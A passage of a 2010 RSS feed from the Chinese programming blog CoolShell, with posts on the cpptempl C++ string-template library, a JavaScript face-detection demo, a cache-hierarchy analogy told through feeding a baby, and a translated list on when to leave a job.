href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3267.html\">游戏Flash vs HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3267.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++的字符串格式化库</title>\n\t\t<link>https://coolshell.cn/articles/3258.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3258.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 02 Nov 2010 00:59:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[cpptempl]]></category>\n\t\t<category><![CDATA[ctemplate]]></category>\n\t\t<category><![CDATA[Hapax]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3258</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这里向大家介绍一个C++的字符串格式化库，叫cpptempl，这个库支持对字符串格式的条件，循环，变量插入。看上去很不错，只不过其是基于boost库的。 下面是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3258.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3258.html\">C++的字符串格式化库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这里向大家介绍一个C++的字符串格式化库，叫cpptempl，这个库支持对字符串格式的条件，循环，变量插入。看上去很不错，只不过其是基于boost库的。</p>\n<p>下面是一个例子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">// The text template\nwstring text = L&quot;I heart {$place}!&quot; ;\n// Data to feed the template engine\ncpptempl::data_map data ;\n// {$place} =&gt; Okinawa\ndata[L&quot;place&quot;] = cpptempl::make_data(L&quot;Okinawa&quot;);\n// parse the template with the supplied data dictionary\nwstring result = cpptempl::parse(text, data) ;</pre>\n<p>输出结果是：</p>\n<blockquote><p>I heart Okinawa!</p></blockquote>\n<p>是不是很方便？让我们看一个更复杂的例子：</p>\n<p><span id=\"more-3258\"></span></p>\n<pre data-enlighter-language=\"cpp\" class=\"EnlighterJSRAW\">// You&#039;d probably load this template from a file in real life.\nwstring text = L&quot;&lt;h3&gt;Locations&lt;/h3&gt;\\n&lt;ul&gt;\\n&quot;\n    L&quot;{% for place in places %}&quot;\n    L&quot;&lt;li&gt;{$place}&lt;/li&gt;\\n&quot;\n    L&quot;{% endfor %}&quot;\n    L&quot;&lt;/ul&gt;&quot; ;\n// Create the list of items\ncpptempl::data_list places;\nplaces.push_back(cpptempl::make_data(L&quot;Okinawa&quot;));\nplaces.push_back(cpptempl::make_data(L&quot;San Francisco&quot;));\n// Now set this in the data map\ncpptempl::data_map data ;\ndata[L&quot;places&quot;] = cpptempl::make_data(places);\n// parse the template with the supplied data dictionary\nwstring result = cpptempl::parse(text, data) ;</pre>\n<p>输出结果是：</p>\n<blockquote><p>&lt;h3&gt;Locations&lt;/h3&gt;<br />\n&lt;ul&gt;<br />\n&lt;li&gt;Okinawa&lt;/li&gt;<br />\n&lt;li&gt;San Francisco&lt;/li&gt;<br />\n&lt;/ul&gt;</p></blockquote>\n<p>更为详细的说明请到这里：<a href=\"http://bitbucket.org/ginstrom/cpptemplate/wiki/Home\" target=\"_blank\">http://bitbucket.org/ginstrom/cpptemplate/wiki/Home</a>。</p>\n<p>Google也有一个类似的库叫ctemplate：<a href=\"http://code.google.com/p/google-ctemplate/\" target=\"_blank\">http://code.google.com/p/google-ctemplate/</a> 提供相似的方法，你也可以试试看。与Google相对应的Java库叫Hapax：<a href=\"http://code.google.com/p/hapax/\" target=\"_blank\">http://code.google.com/p/hapax/</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_title\">C++的坑真的多吗？</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3258.html\">C++的字符串格式化库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3258.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一个人脸识别的Javascript</title>\n\t\t<link>https://coolshell.cn/articles/3254.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3254.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 01 Nov 2010 00:57:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Face Detection]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[人脸识别]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3254</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这里有一个人脸识别的Javascript，感觉挺酷的。识别的还是很不错的，网友们在做了很多的测试，对于动画片里的人员很不准，而且，照片质量要好一点的会准一点。下...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3254.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3254.html\">一个人脸识别的Javascript</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这里有一个<a href=\"http://liuliu.me/detect/detect.html\" target=\"_blank\">人脸识别的Javascript</a>，感觉挺酷的。识别的还是很不错的，网友们在做了很多的<a href=\"http://www.reddit.com/r/programming/comments/dy81y/my_notsoslow_face_detector_in_javascript/\" target=\"_blank\">测试</a>，对于动画片里的人员很不准，而且，照片质量要好一点的会准一点。下面是一些识别结果：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://i.imgur.com/jpDEK.jpg\" alt=\"\" width=\"326\" height=\"298\" /></p>\n<p>一个递归式的图</p>\n<p><span id=\"more-3254\"></span></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://i.imgur.com/cvVAa.jpg\" alt=\"\" width=\"430\" height=\"582\" /></p>\n<p>不过，好像只能识别白人</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"http://i.imgur.com/c7ica.png\" alt=\"\" width=\"443\" height=\"696\" /></p>\n<p style=\"text-align: left;\">大家可以去试试。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3254.html\">一个人脸识别的Javascript</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3254.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>24</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>给老婆普及计算机知识</title>\n\t\t<link>https://coolshell.cn/articles/3236.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3236.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 27 Oct 2010 00:48:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[老婆]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3236</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道计算机的计算数据需要从磁盘调度到内存，然后再调度到L2 Cache，再到L1 Cache，最后进CPU寄存器进行计算。 给老婆在电脑城买本本的时候向电脑...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3236.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3236.html\">给老婆普及计算机知识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们知道计算机的计算数据需要从磁盘调度到内存，然后再调度到L2 Cache，再到L1 Cache，最后进CPU寄存器进行计算。</p>\n<p>给老婆在电脑城买本本的时候向电脑推销人员问到这些参数，老婆听不懂，让我给她解释，解释完后，老婆说，“原来电脑内部这么麻烦，怪不得电脑总是那么慢，直接操作内存不就快啦”。我是那个汗啊。</p>\n<p>我只得向她解释，这样做是为了更快速的处理，她不解，于是我打了下面这个比喻——这就像我们喂宝宝吃奶一样，</p>\n<ul>\n<li>CPU就像是已经在宝宝嘴里的奶一样，直接可以咽下去了。需要1秒钟</li>\n</ul>\n<ul>\n<li>L1缓存就像是已冲好的放在奶瓶里的奶一样，只要把孩子抱起来才能喂到嘴里。需要5秒钟。</li>\n</ul>\n<ul>\n<li>L2缓存就像是家里的奶粉一样，还需要先热水冲奶，然后把孩子抱起来喂进去。需要2分钟。</li>\n</ul>\n<ul>\n<li>内存RAM就像是各个超市里的奶粉一样，这些超市在城市的各个角落，有的远，有的近，你先要寻址，然后还要去商店上门才能得到。需要1-2小时。</li>\n</ul>\n<ul>\n<li>硬盘DISK就像是仓库，可能在很远的郊区甚至工厂仓库。需要大卡车走高速公路才能运到城市里。需要2-10天。</li>\n</ul>\n<p>所以，在这样的情况下——</p>\n<p><span id=\"more-3236\"></span></p>\n<ul>\n<li>我们不可能在家里不存放奶粉。试想如果得到孩子饿了，再去超市买，这不更慢吗？</li>\n</ul>\n<ul>\n<li>我们不可以把所有的奶粉都冲好放在奶瓶里，因为奶瓶不够。也不可能把超市里的奶粉都放到家里，因为房价太贵，这么大的房子不可能买得起。</li>\n</ul>\n<ul>\n<li>我们不可能把所有的仓库里的东西都放在超市里，因为这样干成本太大。而如果超市的货架上正好卖完了，就需要从库房甚至厂商工厂里调，这在计算里叫换页，相当的慢。</li>\n</ul>\n<p>我讲完后，老婆看似有些明白了，然后对我说，“明白了，我就说最近衣服有点跟不上，原来是L1（衣柜）里的衣服跟不上了，老公什么时候去买衣服啊……”。我晕！</p>\n<p>（以上故事，完全是我的亲身经历）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"食客还是大厨\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_title\">食客还是大厨</a></li><li ><a href=\"https://coolshell.cn/articles/2574.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/Firefox-Throttle-150x150.png\" alt=\"如何在低速率网络中测试 Web 应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2574.html\" class=\"wp_rp_title\">如何在低速率网络中测试 Web 应用</a></li><li ><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg\" alt=\"从 MongoDB “赎金事件” 看安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_title\">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" alt=\"持续部署，并不简单！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7657.html\" class=\"wp_rp_title\">持续部署，并不简单！</a></li><li ><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/06/competition-360x200-1-150x150.png\" alt=\"如何超过大多数人\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19464.html\" class=\"wp_rp_title\">如何超过大多数人</a></li><li ><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Oracle成功收购Sun\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/595.html\" class=\"wp_rp_title\">Oracle成功收购Sun</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3236.html\">给老婆普及计算机知识</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3236.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>53</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你和你的工作</title>\n\t\t<link>https://coolshell.cn/articles/3231.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3231.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 26 Oct 2010 00:54:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Career]]></category>\n\t\t<category><![CDATA[Job]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3231</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>源文：http://youtheuser.com/2010/10/04/you-and-your-job/，有人说下面的这个文章太过Crazy，有人说下面的这个...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3231.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3231.html\">你和你的工作</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>源文：<a href=\"http://youtheuser.com/2010/10/04/you-and-your-job/\">http://youtheuser.com/2010/10/04/you-and-your-job/</a>，有人说下面的这个文章太过Crazy，有人说下面的这个文章是猎头的软文，你换工作换得越多，他们才能越挣钱。我的观点的，先别否定他的观点，试着去理解一下为什么他要这么说，你会发现还有一些道理的。然后，想一想，自己需要的是什么？一份工作？还是一份经历？还是不断的自我挑战？相信你会有知道该怎么去做的。当然，“离职”是最后一步棋，在此前，我更希望你能尝试地在你现在工作环境下去改变去影响。</p>\n<blockquote><p>“The role of a manager should be to ensure that those that work for him/her eventually leave and go onto bigger and better things” &#8212;  Mark Plant</p></blockquote>\n<p>如果你对你的工作不高兴——离开，如果每天早上你对你的工作没有激情——无论你在干什么你都要停下来。</p>\n<p>因为这就是我们赖以生存的东西。</p>\n<ol>\n<li>如果你的工作没有挑战性 – leave.</li>\n<li>如果你在混你的工作 – leave.</li>\n<li>如果你觉得现在不辛苦而又感到压力大 – leave.</li>\n<li>如果你完全知道你现在正在做的所有一切的事 – leave.</li>\n<li>如果你没有得到足够多的失败– leave 并到找一个地方可以让你获得成功前的失败。而当你发现你天天都在成功 – leave again.</li>\n<li>如果你觉得你很成功 – leave 然后去找某个事或某个地方你不会那么成功，而当你又觉得你又很成功了 – leave again.</li>\n<li>如果所有的人都喜欢你并喜欢和你一起工作 – leave 然后去某个地方，那里的人并不喜欢你（然后你让他们喜欢你）。</li>\n<li>如果你的工作就像是赢奖品一样，并且你总是能赢 – leave 然后找个地儿，那里的人总是赢不了什么。帮他们扭转局面。</li>\n<li>如果你认为你知道产品的所有的内在的东西 – leave 然后找一个你不知道的产品。</li>\n<p><span id=\"more-3231\"></span></p>\n<li>如果你认为你明白你所有影响力的价值所在，并觉得你已挑战过所有你可以找到的方面 – leave 然后找个地儿，在那里有不同的甚至你不了解的能影响你的人或事。</li>\n<li>如果你的经理不能影响你最终去成就更大更好的事情 – leave.</li>\n<li>如果有人妨碍你的进步（无论是内部的还是外部的） – leave.</li>\n<li>如果有人正试图让你呆在你的工作里不要改变 – leave.</li>\n<li>如果你的经理正试图让你留下，但他并不是一个好的经理 – leave.</li>\n<li>如果日子过得很顺，并且那里有太多的时候可以闲扯（或是你身边都是有太多时间闲扯的人）– leave.</li>\n<li>如果你没有和哪些和你一样在团队工作和协作方面投入相应的思考和精力的人一起工作 – leave 并去寻找这些人</li>\n<li>如果那里有这样一种文化——靠加钱来说服别人留下 – leave. （<a href=\"http://Coolshell.cn\" target=\"_blank\">译注</a>：这样的Culture必然造就不公平）</li>\n<li>如果那里有一种商业文化阻止人不能为竞争对手工作 – leave.（<a href=\"http://Coolshell.cn\" target=\"_blank\">译注</a>：《保密协议》里应该限制的是内容，而不是人身自由）</li>\n<li>如果你工作的那个地方有一个商业文化试图让竞争对手失败 – leave. （<a href=\"http://Coolshell.cn\" target=\"_blank\">译注</a>：人个理解竞争不是让对手失败，而是比对手做得更好）</li>\n<li>如果那里没有一种文化（或是一种理解），其可以帮助优秀的人和那些工作不是太好的人去创造好的工作关系，并让他们可以很好的工作在一起 – leave.</li>\n<li>如果那里的文化并不理解，良好工作关系间的紧密程度能够造就更好的产出 – leave.</li>\n</ol>\n<p>我觉得作者所说的leave，应该是离开这个事，这个团队，而不完全是离开这个公司。我个人对上述的21条中的某些条觉得非常认同，比如：1，8，11，12，15，16，17。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/12/people-150x150.jpg\" alt=\"技术人员的发展之路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_title\">技术人员的发展之路</a></li><li ><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/choice-150x150.jpg\" alt=\"程序算法与人生选择\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_title\">程序算法与人生选择</a></li><li ><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" alt=\"三个事和三个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_title\">三个事和三个问题</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3231.html\">你和你的工作</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3231.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>22</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>在线作图编辑服务</title>\n\t\t<link>https://coolshell.cn/articles/3244.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3244.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 25 Oct 2010 05:02:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Editor]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Photo]]></category>\n\t\t<category><![CDATA[SVG]]></category>\n\t\t<guid 